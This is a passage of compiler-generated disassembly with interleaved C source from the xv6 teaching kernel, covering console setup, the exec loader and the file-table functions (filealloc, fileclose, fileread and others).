801009b1: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801009b6: e9 4e ff ff ff jmp 80100909 <consoleintr+0xf9>
801009bb: 90 nop
801009bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801009c0 <consoleinit>:
void
consoleinit(void)
{
801009c0: 55 push %ebp
801009c1: 89 e5 mov %esp,%ebp
801009c3: 83 ec 10 sub $0x10,%esp
initlock(&cons.lock, "console");
801009c6: 68 c8 73 10 80 push $0x801073c8
801009cb: 68 20 a5 10 80 push $0x8010a520
801009d0: e8 4b 3a 00 00 call 80104420 <initlock>
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
ioapicenable(IRQ_KBD, 0);
801009d5: 58 pop %eax
801009d6: 5a pop %edx
801009d7: 6a 00 push $0x0
801009d9: 6a 01 push $0x1
devsw[CONSOLE].write = consolewrite;
801009db: c7 05 8c 09 11 80 00 movl $0x80100600,0x8011098c
801009e2: 06 10 80
devsw[CONSOLE].read = consoleread;
801009e5: c7 05 88 09 11 80 70 movl $0x80100270,0x80110988
801009ec: 02 10 80
cons.locking = 1;
801009ef: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
801009f6: 00 00 00
ioapicenable(IRQ_KBD, 0);
801009f9: e8 d2 18 00 00 call 801022d0 <ioapicenable>
}
801009fe: 83 c4 10 add $0x10,%esp
80100a01: c9 leave
80100a02: c3 ret
80100a03: 66 90 xchg %ax,%ax
80100a05: 66 90 xchg %ax,%ax
80100a07: 66 90 xchg %ax,%ax
80100a09: 66 90 xchg %ax,%ax
80100a0b: 66 90 xchg %ax,%ax
80100a0d: 66 90 xchg %ax,%ax
80100a0f: 90 nop
80100a10 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
80100a10: 55 push %ebp
80100a11: 89 e5 mov %esp,%ebp
80100a13: 57 push %edi
80100a14: 56 push %esi
80100a15: 53 push %ebx
80100a16: 81 ec 0c 01 00 00 sub $0x10c,%esp
uint argc, sz, sp, ustack[3+MAXARG+1];
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
struct proc *curproc = myproc();
80100a1c: e8 9f 2e 00 00 call 801038c0 <myproc>
80100a21: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
begin_op();
80100a27: e8 54 22 00 00 call 80102c80 <begin_op>
if((ip = namei(path)) == 0){
80100a2c: 83 ec 0c sub $0xc,%esp
80100a2f: ff 75 08 pushl 0x8(%ebp)
80100a32: e8 a9 14 00 00 call 80101ee0 <namei>
80100a37: 83 c4 10 add $0x10,%esp
80100a3a: 85 c0 test %eax,%eax
80100a3c: 0f 84 91 01 00 00 je 80100bd3 <exec+0x1c3>
end_op();
cprintf("exec: fail\n");
return -1;
}
ilock(ip);
80100a42: 83 ec 0c sub $0xc,%esp
80100a45: 89 c3 mov %eax,%ebx
80100a47: 50 push %eax
80100a48: e8 33 0c 00 00 call 80101680 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
80100a4d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
80100a53: 6a 34 push $0x34
80100a55: 6a 00 push $0x0
80100a57: 50 push %eax
80100a58: 53 push %ebx
80100a59: e8 02 0f 00 00 call 80101960 <readi>
80100a5e: 83 c4 20 add $0x20,%esp
80100a61: 83 f8 34 cmp $0x34,%eax
80100a64: 74 22 je 80100a88 <exec+0x78>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100a66: 83 ec 0c sub $0xc,%esp
80100a69: 53 push %ebx
80100a6a: e8 a1 0e 00 00 call 80101910 <iunlockput>
end_op();
80100a6f: e8 7c 22 00 00 call 80102cf0 <end_op>
80100a74: 83 c4 10 add $0x10,%esp
}
return -1;
80100a77: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100a7c: 8d 65 f4 lea -0xc(%ebp),%esp
80100a7f: 5b pop %ebx
80100a80: 5e pop %esi
80100a81: 5f pop %edi
80100a82: 5d pop %ebp
80100a83: c3 ret
80100a84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(elf.magic != ELF_MAGIC)
80100a88: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100a8f: 45 4c 46
80100a92: 75 d2 jne 80100a66 <exec+0x56>
if((pgdir = setupkvm()) == 0)
80100a94: e8 17 66 00 00 call 801070b0 <setupkvm>
80100a99: 85 c0 test %eax,%eax
80100a9b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100aa1: 74 c3 je 80100a66 <exec+0x56>
sz = 0;
80100aa3: 31 ff xor %edi,%edi
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100aa5: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp)
80100aac: 00
80100aad: 8b 85 40 ff ff ff mov -0xc0(%ebp),%eax
80100ab3: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100ab9: 0f 84 93 02 00 00 je 80100d52 <exec+0x342>
80100abf: 31 f6 xor %esi,%esi
80100ac1: eb 7f jmp 80100b42 <exec+0x132>
80100ac3: 90 nop
80100ac4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ph.type != ELF_PROG_LOAD)
80100ac8: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100acf: 75 63 jne 80100b34 <exec+0x124>
if(ph.memsz < ph.filesz)
80100ad1: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100ad7: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100add: 0f 82 86 00 00 00 jb 80100b69 <exec+0x159>
80100ae3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100ae9: 72 7e jb 80100b69 <exec+0x159>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100aeb: 83 ec 04 sub $0x4,%esp
80100aee: 50 push %eax
80100aef: 57 push %edi
80100af0: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100af6: e8 d5 63 00 00 call 80106ed0 <allocuvm>
80100afb: 83 c4 10 add $0x10,%esp
80100afe: 85 c0 test %eax,%eax
80100b00: 89 c7 mov %eax,%edi
80100b02: 74 65 je 80100b69 <exec+0x159>
if(ph.vaddr % PGSIZE != 0)
80100b04: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100b0a: a9 ff 0f 00 00 test $0xfff,%eax
80100b0f: 75 58 jne 80100b69 <exec+0x159>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100b11: 83 ec 0c sub $0xc,%esp
80100b14: ff b5 14 ff ff ff pushl -0xec(%ebp)
80100b1a: ff b5 08 ff ff ff pushl -0xf8(%ebp)
80100b20: 53 push %ebx
80100b21: 50 push %eax
80100b22: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b28: e8 e3 62 00 00 call 80106e10 <loaduvm>
80100b2d: 83 c4 20 add $0x20,%esp
80100b30: 85 c0 test %eax,%eax
80100b32: 78 35 js 80100b69 <exec+0x159>
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100b34: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax
80100b3b: 83 c6 01 add $0x1,%esi
80100b3e: 39 f0 cmp %esi,%eax
80100b40: 7e 3d jle 80100b7f <exec+0x16f>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100b42: 89 f0 mov %esi,%eax
80100b44: 6a 20 push $0x20
80100b46: c1 e0 05 shl $0x5,%eax
80100b49: 03 85 ec fe ff ff add -0x114(%ebp),%eax
80100b4f: 50 push %eax
80100b50: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
80100b56: 50 push %eax
80100b57: 53 push %ebx
80100b58: e8 03 0e 00 00 call 80101960 <readi>
80100b5d: 83 c4 10 add $0x10,%esp
80100b60: 83 f8 20 cmp $0x20,%eax
80100b63: 0f 84 5f ff ff ff je 80100ac8 <exec+0xb8>
freevm(pgdir);
80100b69: 83 ec 0c sub $0xc,%esp
80100b6c: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b72: e8 b9 64 00 00 call 80107030 <freevm>
80100b77: 83 c4 10 add $0x10,%esp
80100b7a: e9 e7 fe ff ff jmp 80100a66 <exec+0x56>
80100b7f: 81 c7 ff 0f 00 00 add $0xfff,%edi
80100b85: 81 e7 00 f0 ff ff and $0xfffff000,%edi
80100b8b: 8d b7 00 20 00 00 lea 0x2000(%edi),%esi
iunlockput(ip);
80100b91: 83 ec 0c sub $0xc,%esp
80100b94: 53 push %ebx
80100b95: e8 76 0d 00 00 call 80101910 <iunlockput>
end_op();
80100b9a: e8 51 21 00 00 call 80102cf0 <end_op>
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100b9f: 83 c4 0c add $0xc,%esp
80100ba2: 56 push %esi
80100ba3: 57 push %edi
80100ba4: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100baa: e8 21 63 00 00 call 80106ed0 <allocuvm>
80100baf: 83 c4 10 add $0x10,%esp
80100bb2: 85 c0 test %eax,%eax
80100bb4: 89 c6 mov %eax,%esi
80100bb6: 75 3a jne 80100bf2 <exec+0x1e2>
freevm(pgdir);
80100bb8: 83 ec 0c sub $0xc,%esp
80100bbb: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100bc1: e8 6a 64 00 00 call 80107030 <freevm>
80100bc6: 83 c4 10 add $0x10,%esp
return -1;
80100bc9: b8 ff ff ff ff mov $0xffffffff,%eax
80100bce: e9 a9 fe ff ff jmp 80100a7c <exec+0x6c>
end_op();
80100bd3: e8 18 21 00 00 call 80102cf0 <end_op>
cprintf("exec: fail\n");
80100bd8: 83 ec 0c sub $0xc,%esp
80100bdb: 68 e1 73 10 80 push $0x801073e1
80100be0: e8 7b fa ff ff call 80100660 <cprintf>
return -1;
80100be5: 83 c4 10 add $0x10,%esp
80100be8: b8 ff ff ff ff mov $0xffffffff,%eax
80100bed: e9 8a fe ff ff jmp 80100a7c <exec+0x6c>
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100bf2: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax
80100bf8: 83 ec 08 sub $0x8,%esp
for(argc = 0; argv[argc]; argc++) {
80100bfb: 31 ff xor %edi,%edi
80100bfd: 89 f3 mov %esi,%ebx
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100bff: 50 push %eax
80100c00: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100c06: e8 45 65 00 00 call 80107150 <clearpteu>
for(argc = 0; argv[argc]; argc++) {
80100c0b: 8b 45 0c mov 0xc(%ebp),%eax
80100c0e: 83 c4 10 add $0x10,%esp
80100c11: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100c17: 8b 00 mov (%eax),%eax
80100c19: 85 c0 test %eax,%eax
80100c1b: 74 70 je 80100c8d <exec+0x27d>
80100c1d: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp)
80100c23: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi
80100c29: eb 0a jmp 80100c35 <exec+0x225>
80100c2b: 90 nop
80100c2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(argc >= MAXARG)
80100c30: 83 ff 20 cmp $0x20,%edi
80100c33: 74 83 je 80100bb8 <exec+0x1a8>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100c35: 83 ec 0c sub $0xc,%esp
80100c38: 50 push %eax
80100c39: e8 52 3c 00 00 call 80104890 <strlen>
80100c3e: f7 d0 not %eax
80100c40: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100c42: 8b 45 0c mov 0xc(%ebp),%eax
80100c45: 5a pop %edx
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100c46: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100c49: ff 34 b8 pushl (%eax,%edi,4)
80100c4c: e8 3f 3c 00 00 call 80104890 <strlen>
80100c51: 83 c0 01 add $0x1,%eax
80100c54: 50 push %eax
80100c55: 8b 45 0c mov 0xc(%ebp),%eax
80100c58: ff 34 b8 pushl (%eax,%edi,4)
80100c5b: 53 push %ebx
80100c5c: 56 push %esi
80100c5d: e8 4e 66 00 00 call 801072b0 <copyout>
80100c62: 83 c4 20 add $0x20,%esp
80100c65: 85 c0 test %eax,%eax
80100c67: 0f 88 4b ff ff ff js 80100bb8 <exec+0x1a8>
for(argc = 0; argv[argc]; argc++) {
80100c6d: 8b 45 0c mov 0xc(%ebp),%eax
ustack[3+argc] = sp;
80100c70: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4)
for(argc = 0; argv[argc]; argc++) {
80100c77: 83 c7 01 add $0x1,%edi
ustack[3+argc] = sp;
80100c7a: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
for(argc = 0; argv[argc]; argc++) {
80100c80: 8b 04 b8 mov (%eax,%edi,4),%eax
80100c83: 85 c0 test %eax,%eax
80100c85: 75 a9 jne 80100c30 <exec+0x220>
80100c87: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c8d: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax
80100c94: 89 d9 mov %ebx,%ecx
ustack[3+argc] = 0;
80100c96: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4)
80100c9d: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100ca1: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100ca8: ff ff ff
ustack[1] = argc;
80100cab: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100cb1: 29 c1 sub %eax,%ecx
sp -= (3+argc+1) * 4;
80100cb3: 83 c0 0c add $0xc,%eax
80100cb6: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100cb8: 50 push %eax
80100cb9: 52 push %edx
80100cba: 53 push %ebx
80100cbb: ff b5 f0 fe ff ff pushl -0x110(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100cc1: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp)
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100cc7: e8 e4 65 00 00 call 801072b0 <copyout>
80100ccc: 83 c4 10 add $0x10,%esp
80100ccf: 85 c0 test %eax,%eax
80100cd1: 0f 88 e1 fe ff ff js 80100bb8 <exec+0x1a8>
for(last=s=path; *s; s++)
80100cd7: 8b 45 08 mov 0x8(%ebp),%eax
80100cda: 0f b6 00 movzbl (%eax),%eax
80100cdd: 84 c0 test %al,%al
80100cdf: 74 17 je 80100cf8 <exec+0x2e8>
80100ce1: 8b 55 08 mov 0x8(%ebp),%edx
80100ce4: 89 d1 mov %edx,%ecx
80100ce6: 83 c1 01 add $0x1,%ecx
80100ce9: 3c 2f cmp $0x2f,%al
80100ceb: 0f b6 01 movzbl (%ecx),%eax
80100cee: 0f 44 d1 cmove %ecx,%edx
80100cf1: 84 c0 test %al,%al
80100cf3: 75 f1 jne 80100ce6 <exec+0x2d6>
80100cf5: 89 55 08 mov %edx,0x8(%ebp)
safestrcpy(curproc->name, last, sizeof(curproc->name));
80100cf8: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi
80100cfe: 50 push %eax
80100cff: 6a 10 push $0x10
80100d01: ff 75 08 pushl 0x8(%ebp)
80100d04: 89 f8 mov %edi,%eax
80100d06: 83 c0 6c add $0x6c,%eax
80100d09: 50 push %eax
80100d0a: e8 41 3b 00 00 call 80104850 <safestrcpy>
curproc->pgdir = pgdir;
80100d0f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx
oldpgdir = curproc->pgdir;
80100d15: 89 f9 mov %edi,%ecx
80100d17: 8b 7f 04 mov 0x4(%edi),%edi
curproc->tf->eip = elf.entry; // main
80100d1a: 8b 41 18 mov 0x18(%ecx),%eax
curproc->sz = sz;
80100d1d: 89 31 mov %esi,(%ecx)
curproc->pgdir = pgdir;
80100d1f: 89 51 04 mov %edx,0x4(%ecx)
curproc->tf->eip = elf.entry; // main
80100d22: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx
80100d28: 89 50 38 mov %edx,0x38(%eax)
curproc->tf->esp = sp;
80100d2b: 8b 41 18 mov 0x18(%ecx),%eax
80100d2e: 89 58 44 mov %ebx,0x44(%eax)
curproc->priority = 10;
80100d31: c7 41 7c 0a 00 00 00 movl $0xa,0x7c(%ecx)
switchuvm(curproc);
80100d38: 89 0c 24 mov %ecx,(%esp)
80100d3b: e8 40 5f 00 00 call 80106c80 <switchuvm>
freevm(oldpgdir);
80100d40: 89 3c 24 mov %edi,(%esp)
80100d43: e8 e8 62 00 00 call 80107030 <freevm>
return 0;
80100d48: 83 c4 10 add $0x10,%esp
80100d4b: 31 c0 xor %eax,%eax
80100d4d: e9 2a fd ff ff jmp 80100a7c <exec+0x6c>
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100d52: be 00 20 00 00 mov $0x2000,%esi
80100d57: e9 35 fe ff ff jmp 80100b91 <exec+0x181>
80100d5c: 66 90 xchg %ax,%ax
80100d5e: 66 90 xchg %ax,%ax
80100d60 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100d60: 55 push %ebp
80100d61: 89 e5 mov %esp,%ebp
80100d63: 83 ec 10 sub $0x10,%esp
initlock(&ftable.lock, "ftable");
80100d66: 68 ed 73 10 80 push $0x801073ed
80100d6b: 68 e0 ff 10 80 push $0x8010ffe0
80100d70: e8 ab 36 00 00 call 80104420 <initlock>
}
80100d75: 83 c4 10 add $0x10,%esp
80100d78: c9 leave
80100d79: c3 ret
80100d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100d80 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d80: 55 push %ebp
80100d81: 89 e5 mov %esp,%ebp
80100d83: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d84: bb 14 00 11 80 mov $0x80110014,%ebx
{
80100d89: 83 ec 10 sub $0x10,%esp
acquire(&ftable.lock);
80100d8c: 68 e0 ff 10 80 push $0x8010ffe0
80100d91: e8 ca 37 00 00 call 80104560 <acquire>
80100d96: 83 c4 10 add $0x10,%esp
80100d99: eb 10 jmp 80100dab <filealloc+0x2b>
80100d9b: 90 nop
80100d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100da0: 83 c3 18 add $0x18,%ebx
80100da3: 81 fb 74 09 11 80 cmp $0x80110974,%ebx
80100da9: 73 25 jae 80100dd0 <filealloc+0x50>
if(f->ref == 0){
80100dab: 8b 43 04 mov 0x4(%ebx),%eax
80100dae: 85 c0 test %eax,%eax
80100db0: 75 ee jne 80100da0 <filealloc+0x20>
f->ref = 1;
release(&ftable.lock);
80100db2: 83 ec 0c sub $0xc,%esp
f->ref = 1;
80100db5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100dbc: 68 e0 ff 10 80 push $0x8010ffe0
80100dc1: e8 5a 38 00 00 call 80104620 <release>
return f;
}
}
release(&ftable.lock);
return 0;
}
80100dc6: 89 d8 mov %ebx,%eax
return f;
80100dc8: 83 c4 10 add $0x10,%esp
}
80100dcb: 8b 5d fc mov -0x4(%ebp),%ebx
80100dce: c9 leave
80100dcf: c3 ret
release(&ftable.lock);
80100dd0: 83 ec 0c sub $0xc,%esp
return 0;
80100dd3: 31 db xor %ebx,%ebx
release(&ftable.lock);
80100dd5: 68 e0 ff 10 80 push $0x8010ffe0
80100dda: e8 41 38 00 00 call 80104620 <release>
}
80100ddf: 89 d8 mov %ebx,%eax
return 0;
80100de1: 83 c4 10 add $0x10,%esp
}
80100de4: 8b 5d fc mov -0x4(%ebp),%ebx
80100de7: c9 leave
80100de8: c3 ret
80100de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100df0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100df0: 55 push %ebp
80100df1: 89 e5 mov %esp,%ebp
80100df3: 53 push %ebx
80100df4: 83 ec 10 sub $0x10,%esp
80100df7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100dfa: 68 e0 ff 10 80 push $0x8010ffe0
80100dff: e8 5c 37 00 00 call 80104560 <acquire>
if(f->ref < 1)
80100e04: 8b 43 04 mov 0x4(%ebx),%eax
80100e07: 83 c4 10 add $0x10,%esp
80100e0a: 85 c0 test %eax,%eax
80100e0c: 7e 1a jle 80100e28 <filedup+0x38>
panic("filedup");
f->ref++;
80100e0e: 83 c0 01 add $0x1,%eax
release(&ftable.lock);
80100e11: 83 ec 0c sub $0xc,%esp
f->ref++;
80100e14: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80100e17: 68 e0 ff 10 80 push $0x8010ffe0
80100e1c: e8 ff 37 00 00 call 80104620 <release>
return f;
}
80100e21: 89 d8 mov %ebx,%eax
80100e23: 8b 5d fc mov -0x4(%ebp),%ebx
80100e26: c9 leave
80100e27: c3 ret
panic("filedup");
80100e28: 83 ec 0c sub $0xc,%esp
80100e2b: 68 f4 73 10 80 push $0x801073f4
80100e30: e8 5b f5 ff ff call 80100390 <panic>
80100e35: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100e39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100e40 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100e40: 55 push %ebp
80100e41: 89 e5 mov %esp,%ebp
80100e43: 57 push %edi
80100e44: 56 push %esi
80100e45: 53 push %ebx
80100e46: 83 ec 28 sub $0x28,%esp
80100e49: 8b 5d 08 mov 0x8(%ebp),%ebx
struct file ff;
acquire(&ftable.lock);
80100e4c: 68 e0 ff 10 80 push $0x8010ffe0
80100e51: e8 0a 37 00 00 call 80104560 <acquire>
if(f->ref < 1)
80100e56: 8b 43 04 mov 0x4(%ebx),%eax
80100e59: 83 c4 10 add $0x10,%esp
80100e5c: 85 c0 test %eax,%eax
80100e5e: 0f 8e 9b 00 00 00 jle 80100eff <fileclose+0xbf>
panic("fileclose");
if(--f->ref > 0){
80100e64: 83 e8 01 sub $0x1,%eax
80100e67: 85 c0 test %eax,%eax
80100e69: 89 43 04 mov %eax,0x4(%ebx)
80100e6c: 74 1a je 80100e88 <fileclose+0x48>
release(&ftable.lock);
80100e6e: c7 45 08 e0 ff 10 80 movl $0x8010ffe0,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80100e75: 8d 65 f4 lea -0xc(%ebp),%esp
80100e78: 5b pop %ebx
80100e79: 5e pop %esi
80100e7a: 5f pop %edi
80100e7b: 5d pop %ebp
release(&ftable.lock);
80100e7c: e9 9f 37 00 00 jmp 80104620 <release>
80100e81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ff = *f;
80100e88: 0f b6 43 09 movzbl 0x9(%ebx),%eax
80100e8c: 8b 3b mov (%ebx),%edi
release(&ftable.lock);
80100e8e: 83 ec 0c sub $0xc,%esp
ff = *f;
80100e91: 8b 73 0c mov 0xc(%ebx),%esi
f->type = FD_NONE;
80100e94: c7 03 00 00 00 00 movl $0x0,(%ebx)
ff = *f;
80100e9a: 88 45 e7 mov %al,-0x19(%ebp)
80100e9d: 8b 43 10 mov 0x10(%ebx),%eax
release(&ftable.lock);
80100ea0: 68 e0 ff 10 80 push $0x8010ffe0
ff = *f;
80100ea5: 89 45 e0 mov %eax,-0x20(%ebp)
release(&ftable.lock);
80100ea8: e8 73 37 00 00 call 80104620 <release>
if(ff.type == FD_PIPE)
80100ead: 83 c4 10 add $0x10,%esp
80100eb0: 83 ff 01 cmp $0x1,%edi
80100eb3: 74 13 je 80100ec8 <fileclose+0x88>
else if(ff.type == FD_INODE){
80100eb5: 83 ff 02 cmp $0x2,%edi
80100eb8: 74 26 je 80100ee0 <fileclose+0xa0>
}
80100eba: 8d 65 f4 lea -0xc(%ebp),%esp
80100ebd: 5b pop %ebx
80100ebe: 5e pop %esi
80100ebf: 5f pop %edi
80100ec0: 5d pop %ebp
80100ec1: c3 ret
80100ec2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pipeclose(ff.pipe, ff.writable);
80100ec8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx
80100ecc: 83 ec 08 sub $0x8,%esp
80100ecf: 53 push %ebx
80100ed0: 56 push %esi
80100ed1: e8 5a 25 00 00 call 80103430 <pipeclose>
80100ed6: 83 c4 10 add $0x10,%esp
80100ed9: eb df jmp 80100eba <fileclose+0x7a>
80100edb: 90 nop
80100edc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
begin_op();
80100ee0: e8 9b 1d 00 00 call 80102c80 <begin_op>
iput(ff.ip);
80100ee5: 83 ec 0c sub $0xc,%esp
80100ee8: ff 75 e0 pushl -0x20(%ebp)
80100eeb: e8 c0 08 00 00 call 801017b0 <iput>
end_op();
80100ef0: 83 c4 10 add $0x10,%esp
}
80100ef3: 8d 65 f4 lea -0xc(%ebp),%esp
80100ef6: 5b pop %ebx
80100ef7: 5e pop %esi
80100ef8: 5f pop %edi
80100ef9: 5d pop %ebp
end_op();
80100efa: e9 f1 1d 00 00 jmp 80102cf0 <end_op>
panic("fileclose");
80100eff: 83 ec 0c sub $0xc,%esp
80100f02: 68 fc 73 10 80 push $0x801073fc
80100f07: e8 84 f4 ff ff call 80100390 <panic>
80100f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100f10 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100f10: 55 push %ebp
80100f11: 89 e5 mov %esp,%ebp
80100f13: 53 push %ebx
80100f14: 83 ec 04 sub $0x4,%esp
80100f17: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100f1a: 83 3b 02 cmpl $0x2,(%ebx)
80100f1d: 75 31 jne 80100f50 <filestat+0x40>
ilock(f->ip);
80100f1f: 83 ec 0c sub $0xc,%esp
80100f22: ff 73 10 pushl 0x10(%ebx)
80100f25: e8 56 07 00 00 call 80101680 <ilock>
stati(f->ip, st);
80100f2a: 58 pop %eax
80100f2b: 5a pop %edx
80100f2c: ff 75 0c pushl 0xc(%ebp)
80100f2f: ff 73 10 pushl 0x10(%ebx)
80100f32: e8 f9 09 00 00 call 80101930 <stati>
iunlock(f->ip);
80100f37: 59 pop %ecx
80100f38: ff 73 10 pushl 0x10(%ebx)
80100f3b: e8 20 08 00 00 call 80101760 <iunlock>
return 0;
80100f40: 83 c4 10 add $0x10,%esp
80100f43: 31 c0 xor %eax,%eax
}
return -1;
}
80100f45: 8b 5d fc mov -0x4(%ebp),%ebx
80100f48: c9 leave
80100f49: c3 ret
80100f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80100f50: b8 ff ff ff ff mov $0xffffffff,%eax
80100f55: eb ee jmp 80100f45 <filestat+0x35>
80100f57: 89 f6 mov %esi,%esi
80100f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100f60 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100f60: 55 push %ebp
80100f61: 89 e5 mov %esp,%ebp
80100f63: 57 push %edi
80100f64: 56 push %esi
80100f65: 53 push %ebx
80100f66: 83 ec 0c sub $0xc,%esp
80100f69: 8b 5d 08 mov 0x8(%ebp),%ebx
80100f6c: 8b 75 0c mov 0xc(%ebp),%esi
80100f6f: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80100f72: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100f76: 74 60 je 80100fd8 <fileread+0x78>
return -1;
if(f->type == FD_PIPE)
80100f78: 8b 03 mov (%ebx),%eax
80100f7a: 83 f8 01 cmp $0x1,%eax
80100f7d: 74 41 je 80100fc0 <fileread+0x60>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100f7f: 83 f8 02 cmp $0x2,%eax
80100f82: 75 5b jne 80100fdf <fileread+0x7f>
ilock(f->ip);
80100f84: 83 ec 0c sub $0xc,%esp
80100f87: ff 73 10 pushl 0x10(%ebx)
80100f8a: e8 f1 06 00 00 call 80101680 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f8f: 57 push %edi
80100f90: ff 73 14 pushl 0x14(%ebx)
80100f93: 56 push %esi
80100f94: ff 73 10 pushl 0x10(%ebx)
80100f97: e8 c4 09 00 00 call 80101960 <readi>
80100f9c: 83 c4 20 add $0x20,%esp
80100f9f: 85 c0 test %eax,%eax
80100fa1: 89 c6 mov %eax,%esi
80100fa3: 7e 03 jle 80100fa8 <fileread+0x48>
f->off += r;
80100fa5: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100fa8: 83 ec 0c sub $0xc,%esp
80100fab: ff 73 10 pushl 0x10(%ebx)
80100fae: e8 ad 07 00 00 call 80101760 <iunlock>
return r;
80100fb3: 83 c4 10 add $0x10,%esp
}
panic("fileread");
}
80100fb6: 8d 65 f4 lea -0xc(%ebp),%esp
